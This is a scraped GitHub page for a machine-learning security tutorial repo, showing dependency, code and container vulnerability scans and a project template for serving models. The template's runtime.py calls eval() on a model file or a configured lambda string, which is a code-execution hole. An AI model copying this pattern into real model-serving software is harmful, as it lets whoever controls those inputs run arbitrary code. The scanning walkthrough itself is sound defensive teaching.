grpcio-opentracing (1.1.4) is up to date
grpcio-reflection (1.34.1) is 434 days out of date. Latest is 1.45.0
gunicorn (20.1.0) is up to date
idna (3.3) is up to date
importlib-metadata (4.11.3) is up to date
itsdangerous (1.1.0) is 1244 days out of date. Latest is 2.1.2
jaeger-client (4.4.0) is 250 days out of date. Latest is 4.8.0
Jinja2 (2.11.3) is 418 days out of date. Latest is 3.1.1
joblib (0.16.0) is 462 days out of date. Latest is 1.1.0
jsonschema (3.2.0) is 785 days out of date. Latest is 4.4.0
MarkupSafe (1.1.1) is 1115 days out of date. Latest is 2.1.1
numpy (1.21.5) is 77 days out of date. Latest is 1.22.3
opentracing (2.4.0) is up to date
paramiko (2.7.1) is 829 days out of date. Latest is 2.10.3
pipdeptree (2.2.1) is up to date
prometheus-client (0.8.0) is 683 days out of date. Latest is 0.14.1
protobuf (3.20.0) is up to date
pycparser (2.21) is up to date
PyNaCl (1.3.0) is 1199 days out of date. Latest is 1.5.0
pyrsistent (0.18.1) is up to date
PyYAML (5.4.1) is 265 days out of date. Latest is 6.0
requests (2.27.1) is up to date
scikit-learn (0.24.2) is 241 days out of date. Latest is 1.0.2
scipy (1.7.3) is 68 days out of date. Latest is 1.8.0
seldon-core (1.13.1) is up to date
six (1.16.0) is up to date
texttable (1.6.2) is 545 days out of date. Latest is 1.6.4
threadloop (1.0.2) is up to date
threadpoolctl (3.1.0) is up to date
thrift (0.16.0) is up to date
tornado (6.1) is up to date
typing_extensions (4.1.1) is up to date
urllib3 (1.26.5) is 293 days out of date. Latest is 1.26.9
Werkzeug (2.1.1) is up to date
zipp (3.8.0) is up to date
Your requirements are 11798 days out of date

%%bash
mkdir -p owasp/deps owasp/data/cache owasp/report
docker run --rm \
    -e user=$USER \
    -u $(id -u ${USER}):$(id -g ${USER}) \
    --volume $(pwd):/src:z \
    --volume $(pwd)/owasp/data:/usr/share/dependency-check/data:z \
    --volume $(pwd)/owasp/report:/report:z \
    owasp/dependency-check:latest \
    --scan /src \
    --format "ALL" \
    --project "dependency-check scan: $(pwd)" \
    --out /report

[INFO] Checking for updates
[INFO] Skipping NVD check since last check was within 4 hours.
[INFO] Skipping RetireJS update since last update was within 24 hours.
[INFO] Check for updates complete (29 ms)
[INFO] 

Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies; false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided is at the user’s risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.


   About ODC: https://jeremylong.github.io/DependencyCheck/general/internals.html
   False Positives: https://jeremylong.github.io/DependencyCheck/general/suppression.html

💖 Sponsor: https://github.com/sponsors/jeremylong


[INFO] Analysis Started
[INFO] Finished File Name Analyzer (0 seconds)
[INFO] Finished Dependency Merging Analyzer (0 seconds)
[INFO] Finished Version Filter Analyzer (0 seconds)
[INFO] Finished Hint Analyzer (0 seconds)
[INFO] Created CPE Index (3 seconds)
[INFO] Finished CPE Analyzer (3 seconds)
[INFO] Finished False Positive Analyzer (0 seconds)
[INFO] Finished NVD CVE Analyzer (0 seconds)
[INFO] Finished Sonatype OSS Index Analyzer (0 seconds)
[INFO] Finished Vulnerability Suppression Analyzer (0 seconds)
[INFO] Finished Dependency Bundling Analyzer (0 seconds)
[INFO] Analysis Complete (3 seconds)
[INFO] Writing report to: /report/dependency-check-report.xml
[INFO] Writing report to: /report/dependency-check-report.html
[INFO] Writing report to: /report/dependency-check-report.json
[INFO] Writing report to: /report/dependency-check-report.csv
[INFO] Writing report to: /report/dependency-check-report.sarif
[INFO] Writing report to: /report/dependency-check-junit.xml

!ls owasp/report

dependency-check-junit.xml    dependency-check-report.json
dependency-check-report.csv   dependency-check-report.sarif
dependency-check-report.html  dependency-check-report.xml

!cat owasp/report/dependency-check-report.csv

"Project","ScanDate","DependencyName","DependencyPath","Description","License","Md5","Sha1","Identifiers","CPE","CVE","CWE","Vulnerability","Source","CVSSv2_Severity","CVSSv2_Score","CVSSv2","CVSSv3_BaseSeverity","CVSSv3_BaseScore","CVSSv3","CPE Confidence","Evidence Count"

6 - Container Scan

!trivy image --severity CRITICAL seldonio/sklearnserver:1.14.0-dev

2022-04-11T19:29:06.350+0100	�[34mINFO�[0m	Detected OS: redhat
2022-04-11T19:29:06.350+0100	�[34mINFO�[0m	Detecting RHEL/CentOS vulnerabilities...
2022-04-11T19:29:06.404+0100	�[34mINFO�[0m	Number of language-specific files: 1
2022-04-11T19:29:06.404+0100	�[34mINFO�[0m	Detecting python-pkg vulnerabilities...

seldonio/sklearnserver:1.14.0-dev (redhat 8.5)
==============================================
Total: 0 (CRITICAL: 0)


Python (python-pkg)
===================
Total: 0 (CRITICAL: 0)

Honourable Mentions

Above are a set of honorable mentions that are not covered in this notebook, but that would still be relevant to check out. You can follow the resources at the top for other links to relevant areas for deeper dives.

Exploring the OWASP Top 10 for ML

Safe ML Project Template

%%writefile sml-security.yml
default_context:
    project_name: "Example Project"

Writing sml-security.yml

!cookiecutter https://github.com/EthicalML/sml-security --no-input --config-file sml-security.yml

!tree example_project/

�[01;34mexample_project/�[00m
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── �[01;34mdocs�[00m
│   ├── Makefile
│   ├── commands.rst
│   ├── conf.py
│   ├── �[01;34mexamples�[00m
│   │   └── model-settings.json
│   ├── getting-started.rst
│   ├── index.rst
│   └── make.bat
├── �[01;34mexample_project�[00m
│   ├── __init__.py
│   ├── common.py
│   ├── runtime.py
│   └── version.py
├── pyproject.toml
├── requirements-dev.txt
├── setup.py
└── �[01;34mtests�[00m
    ├── conftest.py
    └── test_runtime.py

4 directories, 20 files

!cat example_project/pyproject.toml

[tool.poetry]
name = "Example Project"
version = "0.1.0"
description = "A short description of the project."
authors = ["MyGithubUsername"]
license = "MIT"

[tool.poetry.dependencies]
python = "^3.8"
mlserver = "1.1.0.dev6"
fastapi = "^0.78"

[tool.poetry.dev-dependencies]
Sphinx = "3.2.1"
coverage = "4.5.4"
flake8 = "3.9.0"

safety = "1.10.3"
piprot = "0.9.11"
bandit = "1.7.4"


[build-system]
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"

!cat example_project/example_project/runtime.py

import numpy as np
from mlserver.model import MLModel
from mlserver.settings import ModelSettings
from fastapi import status
from mlserver.utils import get_model_uri
from mlserver.errors import InvalidModelURI, MLServerError
from mlserver.types import (
    InferenceRequest,
    InferenceResponse,
)
from mlserver.codecs import NumpyCodec, NumpyRequestCodec
from example_project.common import ExampleProjectSettings


class ExampleProject(MLModel):
    """Runtime class for specific Huggingface models"""

    def __init__(self, settings: ModelSettings):

        self._extra_settings = ExampleProjectSettings(**settings.parameters.extra)  # type: ignore

        super().__init__(settings)

    async def load(self) -> bool:
        # Simple showcase reading a lambda as string either from file or 
        try:
            model_uri = await get_model_uri(self._settings)
            with open(model_uri, "r") as f:
                self._model = eval(f.read())
        except (InvalidModelURI, IsADirectoryError):
            self._model = eval(self._extra_settings.lambda_value)

        if not callable(self._model):
            raise MLServerError("Invalid lambda value provided", status.HTTP_500_INTERNAL_SERVER_ERROR)

        self.ready = True
        return self.ready

    async def predict(self, payload: InferenceRequest) -> InferenceResponse:
        """
        Prediction request
        """
        # For more advanced request decoding see MLServer codecs documentation
        model_input = NumpyRequestCodec.decode(payload)

        model_output = self._model(model_input)
        model_output_np = np.array(model_output)

        encoded_output = NumpyCodec.encode("predict", model_output_np)

        return InferenceResponse(
            model_name=self.name,
            model_version=self.version,
            outputs=[encoded_output],
        )

!make -C example_project/ local-run

make: Entering directory '/home/alejandro/Programming/fml-security/example_project'
mlserver start docs/examples/. &
make: Leaving directory '/home/alejandro/Programming/fml-security/example_project'

!make -C example_project/ local-test-request

make: Entering directory '/home/alejandro/Programming/fml-security/example_project'
curl http://localhost:8080/v2/models/test-model/infer \
	-H "Content-Type: application/json" \
	-d '{"inputs":[{"name":"test_input","shape":[3],"datatype":"INT32","data":[1,2,3]}]}'
{"model_name":"test-model","model_version":null,"id":"894a189e-cce3-4329-aa71-495d5b61621e","parameters":null,"outputs":[{"name":"predict","shape":[],"datatype":"INT64","parameters":null,"data":[6]}]}make: Leaving directory '/home/alejandro/Programming/fml-security/example_project'

!curl http://localhost:8080/v2/models/test-model/infer \
	-H "Content-Type: application/json" \
	-d '{"inputs":[{"name":"test_input","shape":[3],"datatype":"INT32","data":[1,2,3]}]}'

{"model_name":"test-model","model_version":null,"id":"1aceb79b-15da-48fd-b17b-b3354cd068c0","parameters":null,"outputs":[{"name":"predict","shape":[],"datatype":"INT64","parameters":null,"data":[6]}]}

!make -C example_project/ security-local-code

make: Entering directory '/home/alejandro/Programming/fml-security/example_project'
bandit .
[main]	INFO	profile include tests: None
[main]	INFO	profile exclude tests: None
[main]	INFO	cli include tests: None
[main]	INFO	cli exclude tests: None
[main]	INFO	running on Python 3.7.10
[manager]	WARNING	Skipping directory (.), use -r flag to scan contents
�[95mRun started:2022-06-04 08:24:43.129814�[0m
�[95m
Test results:�[0m
	No issues identified.
�[95m
Code scanned:�[0m
	Total lines of code: 0
	Total lines skipped (#nosec): 0
�[95m
Run metrics:�[0m
	Total issues (by severity):
		Undefined: 0
		Low: 0
		Medium: 0
		High: 0
	Total issues (by confidence):
		Undefined: 0
		Low: 0
		Medium: 0
		High: 0
�[95mFiles skipped (0):�[0m
make: Leaving directory '/home/alejandro/Programming/fml-security/example_project'

!make -C example_project/ security-local-dependencies

make: Entering directory '/home/alejandro/Programming/fml-security/example_project'
poetry export --without-hashes -f requirements.txt | safety check --full-report --stdin
�[33mWarning: unpinned requirement 'NoCompatiblePythonVersionFound' found in <stdin>, unable to check.�[0m
+==============================================================================+
|                                                                              |
|                               /$$$$$$            /$$                         |
|                              /$$__  $$          | $$                         |
|           /$$$$$$$  /$$$$$$ | $$  \__//$$$$$$  /$$$$$$   /$$   /$$           |
|          /$$_____/ |____  $$| $$$$   /$$__  $$|_  $$_/  | $$  | $$           |
|         |  $$$$$$   /$$$$$$$| $$_/  | $$$$$$$$  | $$    | $$  | $$           |
|          \____  $$ /$$__  $$| $$    | $$_____/  | $$ /$$| $$  | $$           |
|          /$$$$$$$/|  $$$$$$$| $$    |  $$$$$$$  |  $$$$/|  $$$$$$$           |
|         |_______/  \_______/|__/     \_______/   \___/   \____  $$           |
|                                                          /$$  | $$           |
|                                                         |  $$$$$$/           |
|  by pyup.io                                              \______/            |
|                                                                              |
+==============================================================================+
| REPORT                                                                       |
| checked 0 packages, using free DB (updated once a month)                     |
+==============================================================================+
| No known security vulnerabilities found.                                     |
+==============================================================================+�[0m
make: Leaving directory '/home/alejandro/Programming/fml-security/example_project'

!make -C example_project/ security-local-dependencies-old

make: Entering directory '/home/alejandro/Programming/fml-security/example_project'
poetry export --without-hashes -f requirements.txt | piprot --latest --outdated -
Looks like you've been keeping up to date, time for a delicious beverage!
make: Leaving directory '/home/alejandro/Programming/fml-security/example_project'

Name		Name	Last commit message	Last commit date
Latest commit History 31 Commits
example_project		example_project
images		images
.gitignore		.gitignore
Makefile		Makefile
README.ipynb		README.ipynb
README.md		README.md
SETUP.ipynb		SETUP.ipynb
SETUP.md		SETUP.md
poetry.lock		poetry.lock
pyproject.toml		pyproject.toml
requirements-freeze.txt		requirements-freeze.txt
requirements.txt		requirements.txt
sml-security.yml		sml-security.yml

EthicalML/fml-security

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Flawed Machine Learning Security

About this repo

Relevant Links

Link to Talk Resources

Navigating the Repo Examples

Links to Other Talks and Relevant Resources

Other relevant resources

Requirements

Setting up environment

1 - Train Model and Deploy Artifact

Install requirements for model

Import datasets to train Iris model

Import simple LogsticRegression model

Train model with dataset

Run prediction to test model

Dump model binary with pickle

Deploy the model

2 - Load Pickle and Inject Malicious Code

Deploy the model

Now reload the insecure pickle

Cleaning Artifacts Section

3 - Adversarial Detection

4 - Code Scans

5 - Dependency Vulnerability Scans

Revisiting our requirements

Identifying shortcomings of pip

Workaround with PIP

Solving with Poetry

Scanning Python Versions against CVE Database

Identifying Old Dependencies

6 - Container Scan

Honourable Mentions

Exploring the OWASP Top 10 for ML

Safe ML Project Template

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